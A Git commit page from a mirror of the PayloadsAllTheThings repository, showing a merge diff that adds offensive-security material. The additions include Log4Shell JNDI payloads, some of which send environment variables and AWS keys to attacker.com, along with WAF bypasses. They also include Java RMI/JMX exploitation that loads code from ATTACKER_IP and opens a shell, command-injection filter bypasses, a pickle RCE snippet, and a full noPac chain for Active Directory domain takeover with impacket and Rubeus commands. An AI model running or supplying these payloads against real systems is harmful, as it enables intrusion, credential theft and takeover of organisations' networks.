1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-06 04:36:06 +02:00

Merge branch 'swisskyrepo:master' into master

This commit is contained in:
idealphase 2022-04-19 10:43:04 +07:00 committed by GitHub
commit de532030df
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
38 changed files with 1533 additions and 476 deletions

View File

@ -25,6 +25,13 @@
- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder)
- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks)
- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog)
```ps1
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
trufflehog git https://github.com/trufflesecurity/trufflehog.git
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
```
## Exploit

View File

@ -52,6 +52,7 @@ By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_na
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
https://buckets.grayhatwarfare.com/
```
Their names are also listed if the listing is enabled.

View File

@ -10,6 +10,7 @@
* [Weak Password Reset Token](#weak-password-reset-token)
* [Leaking Password Reset Token](#leaking-password-reset-token)
* [Password Reset Via Username Collision](#password-reset-via-username-collision)
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue)
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
* [Account Takeover via CSRF](#account-takeover-via-csrf)
@ -116,6 +117,13 @@ Try to determine if the token expire or if it's always the same, in some cases t
The platform CTFd was vulnerable to this attack.
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account takeover due to unicode normalization issue
- Victim account: `demo@gmail.com`
- Attacker account: `demⓞ@gmail.com`
## Account Takeover Via Cross Site Scripting
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`

View File

@ -23,8 +23,11 @@
- [Pratical Binary Analysis: Build Your Own Linux Tools for Binary instrumentation, Analysis, and Disassembly by Dennis Andriesse (2019)](https://nostarch.com/binaryanalysis)
- [Pratical Forensic Imaging: Securing Digital Evidence with Linux Tools by Bruce Nikkel (2016)](https://nostarch.com/forensicimaging)
- [Pratical IoT Hacking: The Definitive Guide to Attacking the Internet of Things by Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou and Beau Woods (2021)](https://nostarch.com/practical-iot-hacking)
- [Practical Doomsday: A User's Guide to the End of the World by Michal Zalewski (2022)](https://nostarch.com/practical-doomsday)
- [Practical Social Engineering: A Primer for the Ethical Hacker by Joe Gray (2022)](https://nostarch.com/practical-social-engineering)
- [Real-World Bug Hunting: A Field Guide to Web Hacking by Peter Yaworski (2019)](https://nostarch.com/bughunting)
- [Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats by Alex Matrosov, Eugene Rodionov, and Sergey Bratus (2019)](https://nostarch.com/rootkits)
- [The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime by Jon DiMaggio (2022)](https://nostarch.com/art-cyberwarfare)
- [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking)
- [The Browser Hacker's Handbook by Wade Alcorn et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
- [The Database Hacker's Handbook, David Litchfield et al. (2005)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
@ -32,6 +35,7 @@
- [The Hacker Playbook 2: Practical Guide to Penetration Testing by Peter Kim (2015)](https://www.goodreads.com/book/show/25791488-the-hacker-playbook-2)
- [The Hacker Playbook 3: Practical Guide to Penetration Testing (Red Team Edition) by Peter Kim (2018)](https://www.goodreads.com/book/show/40028366-the-hacker-playbook-3)
- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi (2009)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
- [The Hardware Hacking Handbook by Jasper van Woudenberg & Colin O'Flynn (2022)](https://nostarch.com/hardwarehacking)
- [The Mobile Application Hacker's Handbook by Dominic Chell et al. (2015)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
- [The Shellcoders Handbook by Chris Anley et al. (2007)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto (2011)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)

105
CVE Exploits/Log4Shell.md Normal file
View File

@ -0,0 +1,105 @@
# CVE-2021-44228 Log4Shell
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
## Summary
* [Vulnerable code](#vulnerable-code)
* [Payloads](#payloads)
* [Scanning](#scanning)
* [WAF Bypass](#waf-bypass)
* [Exploitation](#exploitation)
* [Environment variables exfiltration](#environment-variables-exfiltration)
* [Remote Command Execution](#remote-command-execution)
* [References](#references)
## Vulnerable code
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
https://github.com/leonjza/log4jpwn)
```java
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
```
## Payloads
```bash
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}
# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password
```
## Scanning
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
```powershell
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
```
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
## WAF Bypass
```powershell
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
# using lower and upper
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
```
## Exploitation
### Environment variables exfiltration
```powershell
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
```
### Remote Command Execution
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
```ps1
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
## References
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)

View File

@ -18,6 +18,7 @@
* [Bypass with double quote](#bypass-with-double-quote)
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
* [Bypass with $@](#bypass-with-)
* [Bypass with $()](#bypass-with--1)
* [Bypass with variable expansion](#bypass-with-variable-expansion)
* [Bypass with wildcards](#bypass-with-wildcards)
* [Challenge](#challenge)
@ -96,6 +97,16 @@ Commands execution without spaces, $ or { } - Linux (Bash only)
IFS=,;`cat<<<uname,-a`
```
Tabs work as separators in web apps where spaces are removed.
```powershell
;ls%09-al%09/home
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
```
Works on Windows only.
```powershell
@ -109,6 +120,14 @@ ping%PROGRAMFILES:~10,-5%IP
something%0Acat%20/etc/passwd
```
You can also write files.
```powershell
;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello
```
### Bypass characters filter via hex encoding
Linux
@ -191,6 +210,13 @@ echo $0
echo whoami|$0
```
### Bypass with $()
```powershell
who$()ami
who$(echo am)i
who`echo am`i
```
#### Bypass with variable expansion
```powershell

View File

@ -99,6 +99,16 @@ To bypass this behaviour just add forward slashes in front of the url:
```http://nginx-server////////../../```
### Java Bypass
Bypass Java's URL protocol
```powershell
url:file:///etc/passwd
url:http://127.0.0.1:8080
```
## Path Traversal
### Interesting Linux files

View File

@ -433,3 +433,4 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

View File

@ -3,6 +3,7 @@
## Pickle
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
:warning: `import cPickle` will only work on Python 2
```python
import cPickle
@ -32,7 +33,7 @@ Python 2.7 documentation clearly states Pickle should never be used with untrust
> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
```python
import cPickle
import cPickle, os
from base64 import b64encode, b64decode
class Evil(object):
@ -47,4 +48,4 @@ print("Your Evil Token : {}").format(evil_token)
## References
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)

63
Java RMI/README.md Normal file
View File

@ -0,0 +1,63 @@
# Java RMI
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
## Summary
* [Exploitation](#exploitation)
* [Requirements](#requirements)
* [Detection](#detection)
* [Remote Command Execution](#remote-command-execution)
* [References](#references)
## Exploitation
### Requirements
- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled
### Detection
```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI
| rmi-vuln-classloader:
| VULNERABLE:
| RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
```
### Remote Command Execution
The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
* The attacker finally invokes methods from the malicious MBean.
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
```powershell
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
```
## References
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf)

View File

@ -38,6 +38,18 @@ Read text file, **without** interpreting the content, it will only paste raw fil
\verbatiminput{/etc/passwd}
```
If injection point is past document header (`\usepackage` cannot be used), some control
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
`_`, `&`, null bytes, ... (eg. perl scripts).
```tex
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
```
## Write file
Write single lined file:

View File

@ -14,6 +14,7 @@
- [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
- [ZeroLogon](#zerologon)
- [PrintNightmare](#printnightmare)
- [samAccountName spoofing](#samaccountname-spoofing)
- [Open Shares](#open-shares)
- [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
- [SCF Files](#scf-files)
@ -38,6 +39,7 @@
- [Alternatives - modules](#alternatives---modules)
- [Using Mimikatz DCSync](#using-mimikatz-dcsync)
- [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa)
- [Crack NTLM hashes with hashcat](#crack-ntlm-hashes-with-hashcat)
- [Password spraying](#password-spraying)
- [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
- [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
@ -46,6 +48,7 @@
- [Password in AD User comment](#password-in-ad-user-comment)
- [Reading LAPS Password](#reading-laps-password)
- [Reading GMSA Password](#reading-gmsa-password)
- [Forging Golden GMSA](#forging-golden-gmsa)
- [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
- [Using Mimikatz](#using-mimikatz)
- [Using Meterpreter](#using-meterpreter)
@ -73,6 +76,10 @@
- [Active Directory Certificate Services](#active-directory-certificate-services)
- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
- [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
- [ESC3 - Misconfigured Enrollment Agent Templates](#esc3---misconfigured-enrollment-agent-templates)
- [ESC4 - Access Control Vulnerabilities](#esc4---access-control-vulnerabilities)
- [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ](#esc6---editf_attributesubjectaltname2)
- [ESC7 - Vulnerable Certificate Authority Access Control](#esc7---vulnerable-certificate-authority-access-control)
- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
@ -98,6 +105,7 @@
- [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
- [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
- [PrivExchange attack](#privexchange-attack)
- [RODC - Read Only Domain Controller Compromise](#rodc---read-only-domain-controller-compromise)
- [PXE Boot image attack](#pxe-boot-image-attack)
- [DSRM Credentials](#dsrm-credentials)
- [DNS Reconnaissance](#dns-reconnaissance)
@ -170,7 +178,7 @@
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup
available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nullsession,nullsession-trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,computers,users
```
* [Kerbrute](https://github.com/ropnop/kerbrute)
@ -204,41 +212,44 @@ Use the correct collector
* AzureHound for Azure Active Directory
* SharpHound for local Active Directory
use [AzureHound](https://posts.specterops.io/introducing-bloodhound-4-0-the-azure-update-9b2b26c5e350)
* use [AzureHound](https://posts.specterops.io/introducing-bloodhound-4-0-the-azure-update-9b2b26c5e350)
```powershell
# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound
```
```powershell
# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound
```
* use [BloodHound](https://github.com/BloodHoundAD/BloodHound)
```powershell
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe -c all,GPOLocalGroup
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
.\SharpHound.exe -c all,GPOLocalGroup --searchforest
use [BloodHound](https://github.com/BloodHoundAD/BloodHound)
# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
```powershell
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe -c all,GPOLocalGroup
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
```
# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
```
* Collect more data for certificates exploitation using Certipy
```ps1
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
```
Then import the zip/json files into the Neo4J database and query them.
@ -254,7 +265,13 @@ root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```
You can add some custom queries like [Bloodhound-Custom-Queries](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json) from @hausec. Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.
You can add some custom queries like :
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ShutdownRepo/Exegol/master/sources/bloodhound/customqueries.json)
* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)
Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.
### Using PowerView
@ -598,6 +615,11 @@ Exploit steps from the white paper
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```
* `CrackMapExec` - only check
```powershell
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
```
#### PrintNightmare
> CVE-2021-1675 / CVE-2021-34527
@ -672,6 +694,124 @@ Requirements:
| 0x180 | unknown error code | Share is not SMB2 |
#### samAccountName spoofing
> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a TGS to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid TGS for the domain controller.
**Requirements**
* MachineAccountQuota > 0
**Check for exploitation**
0. Check the MachineAccountQuota of the account
```powershell
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*
```
1. Check if the DC is vulnerable
```powershell
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
```
**Exploitation**
0. Create a computer account
```powershell
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
```
1. Clear the controlled machine account `servicePrincipalName` attribute
```ps1
impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
```
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
```ps1
# https://github.com/SecureAuthCorp/impacket/pull/1224
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
```
3. Request a TGT for the controlled machine account
```ps1
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
```
4. Reset the controlled machine account sAMAccountName to its old value
```ps1
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
```
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
```ps1
# https://github.com/SecureAuthCorp/impacket/pull/1202
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
```
6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`
Automated exploitation:
* [noPac - @cube0x0](https://github.com/cube0x0/noPac)
```powershell
noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
```
* [sam_the_admin - @WazeHell](https://github.com/WazeHell/sam-the-admin)
```ps1
$ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110 -shell
[*] Selected Target dc.caltech.white
[*] Total Domain Admins 11
[*] will try to impersonat gaylene.dreddy
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-11$"
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
[*] SAMTHEADMIN-11$ sAMAccountName == dc
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-11$
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating gaylene.dreddy
[*] Requesting S4U2self
[*] Saving ticket in gaylene.dreddy.ccache
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
```
* [Pachine - @ly4k](https://github.com/ly4k/Pachine)
```powershell
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
[domain/]username[:password]
$ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
$ export KRB5CCNAME=$PWD/administrator@predator.local.ccache
$ impacket-psexec -k -no-pass 'predator.local/administrator@dc.predator.local'
```
**Mitigations**:
